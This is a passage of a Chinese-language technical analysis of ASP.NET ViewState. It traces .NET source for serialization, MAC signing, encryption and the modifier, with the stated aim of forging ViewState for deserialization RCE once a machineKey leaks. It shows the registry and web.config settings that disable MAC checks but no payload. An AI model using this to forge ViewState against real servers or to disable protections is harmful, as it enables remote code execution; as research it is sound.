>
> (4)base-64字符串将写入页面中的__VIEWSTATE表单值。
**利用ViewState 进行反序列化利用**
其实ViewState 真正的问题在与其潜在的反序列化漏洞风险。ViewState 使用ObjectStateFormatter
进行反序列化，虽然ViewState
采取了加密和签名的安全措施。但是一旦泄露web.config，获取其加密和签名所用的密钥和算法，我们就可以将ObjectStateFormatte
的反序列化payload
进行同样的加密与签名，然后再发给服务器。这样ASP.NET在进行反序列化时，正常解密和校验，然后把payload交给ObjectStateFormatter
进行反序列化，触发其反序列化漏洞，实现RCE。
## 3\. web.config 中关于ViewState 的配置
ASP.NET 通过web.config 来完成对网站的配置。
在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能：
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />
**enableViewState** ： 用于设置是否开启viewState，但是请注意，根据 **安全通告KB2905247**
中所说，即使在web.config中将enableViewState 设置为false，ASP.NET服务器也始终被动解析
ViewState。也就是说，该选项可以影响ViewState的生成，但是不影响ViewState的被动解析。实际上，
**viewStateEncryptionMode** 也有类似的特点。
**enableViewStateMac** ： 用于设置是否开启ViewState Mac (校验)功能。在 **安全通告KB2905247**
之前，也就是4.5.2之前，该选项为false，可以禁止Mac校验功能。但是在4.5.2之后，强制开启ViewState Mac
校验功能，因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config
里添加危险设置的方式来禁用Mac校验，详情见后面分析。
**viewStateEncryptionMode** ： 用于设置是否开启ViewState Encrypt
(加密)功能。该选项的值有三种选择：Always、Auto、Never。
* Always表示ViewState始终加密；
* Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密，则视图状态信息将被加密，这是默认值；
* Never表示 即使控件请求了视图状态信息，也永远不会对其进行加密。
在实际调试中发现，viewStateEncryptionMode
影响的是ViewState的生成，但是在解析从客户端提交的ViewState时，并不是依据此配置来判断是否要解密。详情见后面分析。
在web.config 中通过machineKey节 来对校验功能和加密功能进行进一步配置：
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
例子：
<machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />
其中的 **validationKey** 和 **decryptionKey** 分别是校验和加密所用的密钥， **validation** 和
**decryption** 则是校验和加密所使用的算法（可以省略，采用默认算法）。校验算法包括： SHA1、 MD5、 3DES、 AE、
HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括：DES、3DES、AES。 由于web.config
保存在服务端上，在不泄露machineKey的情况下，保证了ViewState的安全性。
了解了一些关于ViewState的配置后，我们再来看一下.NET Framework 到底是如何处理ViewState的生成与解析的。
## 4\. ViewState的生成和解析流程
根据一些先验知识，我们知道ViewState 是通过ObjectStateFormatter的 **Serialize** 和
**Deserialize** 来完成ViewState的序列化和反序列化工作。（LosFormatter
也用于ViewState的序列化，但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize
是直接调用的ObjectStateFormatter 的Serialize）
ObjectStateFormatter 位于System.Web.UI 空间，我们给他的
Serialize函数下个断点（重载有多个Serialize函数，注意区分）。使用dnspy 调试，中断后查看栈回溯信息：
通过栈回溯，我们可以清晰的看到Page类通过调用 SaveAllState 进入到ObjectStateFormatter的 Seralize 函数。
### 4.1 Serialize 流程
查看Serialize 函数的代码（这里我使用.Net 4.8 的源码，有注释，更清晰）：
private string Serialize(object stateGraph, Purpose purpose) {
string result = null;
MemoryStream ms = GetMemoryStream();
try {
Serialize(ms, stateGraph);
ms.SetLength(ms.Position);
byte[] buffer = ms.GetBuffer();
int length = (int)ms.Length;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
// We only support serialization of encrypted or encoded data through our internal Page constructors
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
...
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}
#pragma warning restore 618 // calling obsolete methods
}
#endif // !FEATURE_PAL
result = Convert.ToBase64String(buffer, 0, length);
}
finally {
ReleaseMemoryStream(ms);
}
return result;
}
在函数开头处，调用了另一个重载的Serialzie函数，作用是将stateGraph 序列化为binary数据：
MemoryStream ms = GetMemoryStream();
try {
Serialize(ms, stateGraph);
ms.SetLength(ms.Position);
...
之后进入else分支：
if (_page != null && _page.RequiresViewStateEncryptionInternal) {
buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}
这里有两个重要标志位， _page.RequiresViewStateEncryptionInternal 和
_page.EnableViewStateMac。这两个标志位决定了序列化的Binary数据 是进入
**MachineKeySection.EncryptOrDecryptData()** 函数还是
**MachineKeySection.GetEncodedData()** 函数。
其中EncryptOrDecryptData() 函数用于加密以及可选择的进行签名(校验)，而GetEncodedData()
则只用于签名(校验)。稍后我们再具体分析这两个函数，我们先来研究一下这两个标志位。
这两个标志位决定了服务端产生的ViewState采取了什么安全措施。这与之前所描述的web.config 中的EnableViewStateMac 和
viewStateEncryptionMode的作用一致。
_page.RequiresViewStateEncryptionInternal 来自这里：
internal bool RequiresViewStateEncryptionInternal {
get {
return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||
_viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;
}
}
其中的ViewStateEncryptionMode 应当是直接来自web.config。所以是否进入
MachineKeySection.EncryptOrDecryptData 取决于web.config
里的配置。（注意，进入该函数不仅会进行加密，也会进行签名）。
_page.EnableViewStateMac 来自这里：
public bool EnableViewStateMac {
get { return _enableViewStateMac; }
set {
// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
// have an mechanism that forces this to keep its default value of 'true'. We only
// allow actually setting the value if this enforcement mechanism is inactive.
if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {
_enableViewStateMac = value;
}
}
}
对应字段 _enableViewStateMac 在Page类的初始化函数中被设置为默认值 true:
public Page() {
_page = this; // Set the page to ourselves
_enableViewStateMac = EnableViewStateMacDefault;
...
}
于是 _enableViewStateMac 是否被修改就取决于
EnableViewStateMacRegistryHelper.EnforceViewStateMac。
查看 EnableViewStateMacRegistryHelper 类，其为EnforceViewStateMac 做了如下注释：
// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,
// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if
// the patch hasn't been activated on this machine.
public static readonly bool EnforceViewStateMac;
也就是说：在启用EnableViewStateMac补丁的情况下，EnforceViewStateMac 返回true，这表示
前面的EnableViewStateMac 标志位会始终保持其默认值true。
在EnableViewStateMacRegistryHelper 类的初始化函数中，进一步表明了是依据什么修改 EnforceViewStateMac的：
static EnableViewStateMacRegistryHelper() {
// If the reg key is applied, change the default values.
bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();
if (regKeyIsActive) {
EnforceViewStateMac = true;
SuppressMacValidationErrorsFromCrossPagePostbacks = true;
}
// Override the defaults with what the developer specified.
if (AppSettings.AllowInsecureDeserialization.HasValue) {
EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;
// Exception: MAC errors from cross-page postbacks should be suppressed
// if either the <appSettings> switch is set or the reg key is set.
SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
}
...
可以看到EnforceViewStateMac 在两种情况下被修改：
* 依据 IsMacEnforcementEnabledViaRegistry() 函数该函数是从注册表里取值，如果该表项为0，则表示禁用EnableViewStateMac 补丁。
private static bool IsMacEnforcementEnabledViaRegistry() {
try {
string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));
int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);
return (rawValue != 0);
}
catch {
// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
return true;
}
}
* 依据 AppSettings.AllowInsecureDeserialization.HasValue该值应当是来自于web.config 中的危险设置:
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
总结来说，ViewStateMac 默认强制开启，要想关闭该功能，必须通过注册表或者在web.config 里进行危险设置的方式禁用
EnableViewStateMac 补丁才能实现。
### 4.2 Deserialize 流程
查看 Deserialize 函数的代码：
private object Deserialize(string inputString, Purpose purpose) {
if (String.IsNullOrEmpty(inputString)) {
throw new ArgumentNullException("inputString");
}
byte[] inputBytes = Convert.FromBase64String(inputString);
int length = inputBytes.Length;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
try {
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
...
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
}
#pragma warning restore 618 // calling obsolete methods
}
}
catch {
// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
ViewStateException.ThrowMacValidationError(null, inputString);
}
#endif // !FEATURE_PAL
object result = null;
MemoryStream objectStream = GetMemoryStream();
try {
objectStream.Write(inputBytes, 0, length);
objectStream.Position = 0;
result = Deserialize(objectStream);
}
finally {
ReleaseMemoryStream(objectStream);
}
return result;
}
重点仍然是里面的else分支：
else {
// Otherwise go through legacy crypto mechanisms
if (_page != null && _page.ContainsEncryptedViewState) {
inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
length = inputBytes.Length;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
}
}
这里出现了一个新的标志位 _page.ContainsEncryptedViewState
用于决定是否进入MachineKeySection.EncryptOrDecryptData()
函数进行解密，查看ContainsEncryptedViewState 的来历：
if (_requestValueCollection != null) {
// Determine if viewstate was encrypted.
if (_requestValueCollection[ViewStateEncryptionID] != null) {
ContainsEncryptedViewState = true;
}
...
注释表明，该标志确实用于判断接收到的viewstate 是否被加密。查看dnspy逆向的结果，你会更清晰：
这 “__VIEWSTATEENCRYPTED” 很像是request 里提交的字段啊，查找一下，确实如此。
查看开启加密后的 request 请求，确实有这样一个无值的字段：
所以，ASP.NET在解析ViewState时，并不是根据web.config来判断 ViewState
是否加密，而是通过request里是否有__VIEWSTATEENCRYPTED 字段进行判断。换句话说，即使我们在web.config 里设置
Always 解密，服务端仍然会被动解析只有签名的ViewState。（ 我在 YsoSerial.NET 工具
ViewState插件作者的博客里看到，.net 4.5 之后需要加密算法和密钥。但是我不明白为什么，在实际测试中似乎也不需要。）
## 5\. GetEncodedData 签名函数
GetEncodedData() 函数用于对序列化后的Binary数据进行签名，用于完整性校验。查看其代码(.NET 4.8):
// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
// with the hash appended in the end if there's enough space. The "length" parameter would also be
// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of
// buffers.
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
{
EnsureConfig();
byte[] bHash = HashData(buf, modifier, start, length);
byte[] returnBuffer;
if (buf.Length - start - length >= bHash.Length)
{
// Append hash to end of buffer if there's space
Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
returnBuffer = buf;
}
else
{
returnBuffer = new byte[length + bHash.Length];
Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
start = 0;
}
length += bHash.Length;
if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
length = returnBuffer.Length;
}
return returnBuffer;
}
大致流程：
* HashData()函数计算出hash值。
* 判断原buffer长度是否够，如果够，则直接在原buffer中data后添加hash值；否则申请新的buf，并将data和hash值拷贝过去。
* 判断hash算法是否是3DES 或者 AES，如果是，则调用EncryptOrDecryptData() 函数。
我们首先来看一下HashData函数：
internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
{
EnsureConfig();
if (s_config.Validation == MachineKeyValidation.MD5)
return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
if (_UseHMACSHA) {
byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
if (hash != null)
return hash;
}
if (_CustomValidationTypeIsKeyed) {
return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
} else {
return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
buf, modifier, start, length, s_validationKey);
}
}
这里有几个特殊的标志位：s_config.Validation、_UseHMACSHA、_CustomValidationTypeIsKeyed，用来决定进入哪个函数生成hash。
s_config.Validation 应当是web.config 中设置的签名算法。
而另外两个标志则源自于 InitValidationAndEncyptionSizes() 函数里根据签名算法进行的初始化设置：
private void InitValidationAndEncyptionSizes()
{
_CustomValidationName = ValidationAlgorithm;
_CustomValidationTypeIsKeyed = true;
switch(ValidationAlgorithm)
{
case "AES":
case "3DES":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "SHA1":
_UseHMACSHA = true;
_HashSize = SHA1_HASH_SIZE;
_AutoGenValidationKeySize = SHA1_KEY_SIZE;
break;
case "MD5":
_CustomValidationTypeIsKeyed = false;
_UseHMACSHA = false;
_HashSize = MD5_HASH_SIZE;
_AutoGenValidationKeySize = MD5_KEY_SIZE;
break;
case "HMACSHA256":
_UseHMACSHA = true;
_HashSize = HMACSHA256_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;
break;
case "HMACSHA384":
_UseHMACSHA = true;
_HashSize = HMACSHA384_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;
break;
case "HMACSHA512":
_UseHMACSHA = true;
_HashSize = HMACSHA512_HASH_SIZE;
_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;
break;
default:
...
可以看到，只有MD5签名算法将 _UseHMASHA设置为false，其他算法都将其设置为true。除此之外，还根据签名算法设置_HashSize
为相应hash长度。所以计算MD5 hahs时进入 HashDataUsingNonKeyedAlgorithm()函数，计算其他算法hash时进入
GetHMACSHA1Hash() 函数。
我们先看使用MD5签名算法时进入的 HashDataUsingNonKeyedAlgorithm() 函数：
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
int start, int length, byte[] validationKey)
{
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
Buffer.BlockCopy(buf, start, bAll, 0, length);
if (modifier != null) {
Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
}
Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
if (hashAlgo != null) {
return hashAlgo.ComputeHash(bAll);
} else {
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
}
}
这里的modifier 的来源我们稍后再议，其长度一般为4个字节。HashDataUsingNonKeyedAlgorithm() 函数流程如下：
* 申请一块新的内存，其长度为data length + validationkey.length + modifier.length
* 将data，modifier，validationkey 拷贝到新分配的内存里。特殊的是，modifier 和 vavlidationkey 都是从紧挨着data的地方开始拷贝，这就导致了validationkey 会 覆盖掉modifier。所以真正的内存分配为： data + validationkey + ‘\x00’*modifier.length
* 根据MD5算法设置hash长度，即newHash。关于这一点，代码中有各种算法产生hash值的长度设定：
private const int MD5_KEY_SIZE = 64;
private const int MD5_HASH_SIZE = 16;
private const int SHA1_KEY_SIZE = 64;
private const int HMACSHA256_KEY_SIZE = 64;
private const int HMACSHA384_KEY_SIZE = 128;
private const int HMACSHA512_KEY_SIZE = 128;
private const int SHA1_HASH_SIZE = 20;
private const int HMACSHA256_HASH_SIZE = 32;
private const int HMACSHA384_HASH_SIZE = 48;
private const int HMACSHA512_HASH_SIZE = 64;
各种算法对应的Hash长度分别为 MD5:16 SHA1:20 MACSHA256:32 HMACSHA384:48 HMACSHA512:64,
全都不同。
* 调用UnsafeNativeMethods.GetSHA1Hash() 函数进行hash计算。该函数是从webengine4.dll 里导入的一个函数。第一次看到这里，我有一些疑问，为什么MD5算法要调用GetSHA1Hash函数呢？这个疑问先保留。我们先看其他算法是如何生成hash的。
计算其他算法的hash时调用了一个自己写的GetHMACSHA1Hash() 函数，其实现如下：
private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {
if (start < 0 || start > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));
if (length < 0 || buf == null || (start + length) > buf.Length)
throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));
byte[] hash = new byte[_HashSize];
int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,
modifier, (modifier == null) ? 0 : modifier.Length,
s_inner, s_inner.Length, s_outer, s_outer.Length,
hash, hash.Length);
if (hr == 0)
return hash;
_UseHMACSHA = false;
return null;
}
可以看到，其内部直接调用的UnsafeNativeMethods.GetHMACSHA1Hash()
函数，该函数也是从webengine4.dll里导入的一个函数。和之前看生成MD5
hash值时有一样的疑问，为什么是GetHMACSHA1HAsh？为什么多种算法都进入这一个函数？根据他们参数的特点，而且之前看到各个算法生成hash的长度不同，我们可以猜测，或许是该函数内部根据hash长度来选择使用什么算法。
把 webengine4.dll 拖进ida里。查看GetSHA1Hash() 函数和 GetHMACSHA1Hash() 函数，特点如下：
GetHMACSHA1Hash:
二者都进入了GetAlgorithmBasedOnHashSize() 函数，看来我们的猜测没错，确实是通过hash长度来选择算法。
## 6\. EncryptOrDecryptData 加密解密函数
我们之前看到，无论是开启加密的情况下，还是采用AES\3DES签名算法的情况下，都会进入
MachineKeySection.EncryptOrDecryptData() 函数，那么该函数内部是怎么样的流程呢？
先来看一下该函数的声明和注释：
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
* or signature verification (for decryption). Possible operation modes are:
*
* ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
*
* ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
* Output: E(iv + buf + modifier)
*
* VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
* Output: m
*
* ONLY DECRYPT DATA (fEncrypt = false, signData = false)
* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
* Input (buf): E(iv + plaintext + modifier)
* Output: m
*
* The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
*
* The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
*
* In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
*/
注释开头说明：该函数用于加密/解密，可选择的进行签名/校验。一共有4中情况：加密+签名、只加密、解密+校验、只解密。重点是其中的加密+签名、解密+校验。
* 加密+签名：fEncrypt = true, signData = true输入：待加密的原始数据，modifier输出：E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))（上述公式中E表示加密，HMAC表示签名）
* 解密+校验：fEncrypt = false, signData = true输入：带解密的加密数据，modifier，buf 即为上面的 E(iv + m + modifier) + HMAC(E(iv + m + modifier))输出：m
老实说，只看注释，我们似乎已经可以明白该函数是如何进行加密和签名的了，操起python
就可以学习伪造加密的viewstate了（开玩笑）。不过我们还是看一下他的代码：
internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
该函数有9个参数：
* 第1个参数 fEncrypt 表示是加密还是解密，true为加密，false 为解密；
* 第2~5个参数 buf、modifier、start、length 为与原始数据相关；
* 第6个参数 useValidationSymAlgo 表示加密是否使用与签名相同的算法；
* 第7个参数useLegacyMode 与自定义算法有关，一般为false；
* 第8个参数 ivType与加密中使用的初始向量iv 有关，根据注释，旧的 IPType.Hash 已经被去除，现在默认使用IPType.Random；
* 第9个参数 signData 表示是否签名/校验。
关于第6个参数 useValidationSymAlgo 有一些细节要说：
我们知道，在Serialize 函数下有两种情况会进入 EncryptOrDecryptData 函数：
（1）由于web.config 配置中开启加密功能，直接进入 EncryptOrDecryptData() 函数：
此时EncryptOrDecryptData () 参数有5个。
（2）在进入GetEncodeData() 函数后，由于使用了AES/3DES 签名算法，导致再次进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有6个。
二者参数个数不同，说明是进入了不同的重载函数。
细细观察会发现，由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时，第6个参数
useValidationSymAlgo 为true。意义何在呢？因为先进入GetEncodedData()
函数，说明没有开启加密功能，此时由于使用的是AES/3DES签名算法，导致需要在签名后再次EncryptOrDecryptData ()
函数。进入EncryptOrDecryptData()
就需要决定使用什么加密算法。所以第6个参数为true，表示加密使用和签名同样的算法。另外多说一句，这种情况下会有两次签名，在GetEncodedData()
里一次，进入EncryptOrDecryptData() 后又一次（后面会看到）。
下面代码将有关解密和校验的操作隐去，只介绍加密与签名的部分。
// 541~543行
System.IO.MemoryStream ms = new System.IO.MemoryStream();
ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);
CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);
这一段是先调用GetCryptoTransform 获取加密工具，而后通过CryptoStream
将数据流链接到加密转换流。不了解这一过程的可以查看微软[相关文档](https://docs.microsoft.com/zh-cn/dotnet/api/system.security.cryptography.cryptostream?view=netcore-3.1)。
关键在于GetCryptoTransform() 是如何选择加密工具的？该函数的3个参数中似乎并无算法相关。观其代码：
private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode)
{
SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));
lock(algo)
return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());
}
algo 表示相应的算法类，那么关键便是 s_oSymAlgoValidation 和 s_oSymAlgoDecryption，察其来历：
ConfigureEncryptionObject() 函数：
switch (Decryption)
{
case "3DES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateTripleDES();
break;
case "DES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
break;
case "AES":
s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
break;
case "Auto":
if (dKey.Length == 8) {
s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();
}
break;
}
if (s_oSymAlgoDecryption == null) // Shouldn't happen!
InitValidationAndEncyptionSizes();
switch(Validation)
{
case MachineKeyValidation.TripleDES:
if (dKey.Length == 8) {
s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();
} else {
s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();
}
break;
case MachineKeyValidation.AES:
s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();
break;
}
看来在网站初始化时就已将相应的加密类分配好了。
继续观察 EncryptOrDecryptData() 的代码：
// 第545~579行
// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.
// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).
// MSRC 10405: If signData is set to true, we must generate an IV.
bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));
if (fEncrypt && createIV)
{
int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);
byte[] iv = null;
switch (ivType) {
case IVType.Hash:
// iv := H(buf)
iv = GetIVHash(buf, ivLength);
break;
case IVType.Random:
// iv := [random]
iv = new byte[ivLength];
RandomNumberGenerator.GetBytes(iv);
break;
}
Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));
cs.Write(iv, 0, iv.Length);
}
cs.Write(buf, start, length);
if (fEncrypt && modifier != null)
{
cs.Write(modifier, 0, modifier.Length);
}
cs.FlushFinalBlock();
byte[] paddedData = ms.ToArray();
这一段开头是在生成IV。IV是加密时使用的初始向量，应保证其随机性，防止重复IV导致密文被破解。
* ivLength为64。这里随机生成64个字节作为iv。
* 三次调用 cs.Write()，分别写入iv、buf、modifier。cs即为前面生成的CryptoStream类实例，用于将数据流转接到加密流。这里与我们前面所说的公式 E(iv + buf + modifier) 对应上了。
* 调用ms.ToArray() ，即返回加密完成后的生成的字节序列。
继续观察 EncryptOrDecryptData() 的代码：
// 第550~644行
// DevDiv Bugs 137864: Strip IV from beginning of unencrypted data
if (!fEncrypt && createIV)
{
// strip off the first bytes that were random bits
...
}
else
{
bData = paddedData;
}
...
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)
// If fEncrypt = false (decrypting), bData := plaintext
if (fEncrypt && signData) {
byte[] hmac = HashData(bData, null, 0, bData.Length);
byte[] bData2 = new byte[bData.Length + hmac.Length];
Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);
Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);
bData = bData2;
}
// At this point:
// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))
// If fEncrypt = false (decrypting), bData := plaintext
// And we're done
return bData;
这里是最后一部，将加密后生成的字节序列传给HashData，让其生成hash值，并缀在字节序列后面。
这就与前面的公式 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 对应上了。
看完 EncryptOrDecryptData() 函数的代码，我么也明白了其流程，总结下来其实就一个公式，没错就是 E(iv + buf +
modifier) + HMAC(E(iv + buf + modifier)) 。
## 7\. modifier 的来历
在前面进行签名和加密的过程中，都使用了一个关键变量叫做modifier，该变量同密钥一起用于签名和加密。该变量来自于 GetMacKeyModifier()
函数:
// This will return the MacKeyModifier provided in the LOSFormatter constructor or
// generate one from Page if EnableViewStateMac is true.
private byte[] GetMacKeyModifier() {
if (_macKeyBytes == null) {
// Only generate a MacKeyModifier if we have a page
if (_page == null) {
return null;
}
// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync
// Use the page's directory and class name as part of the key (ASURT 64044)
uint pageHashCode = _page.GetClientStateIdentifier();
string viewStateUserKey = _page.ViewStateUserKey;
if (viewStateUserKey != null) {
// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
_macKeyBytes = new byte[count + 4];
Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);
}
else {
_macKeyBytes = new byte[4];
}
_macKeyBytes[0] = (byte)pageHashCode;
_macKeyBytes[1] = (byte)(pageHashCode >> 8);
_macKeyBytes[2] = (byte)(pageHashCode >> 16);
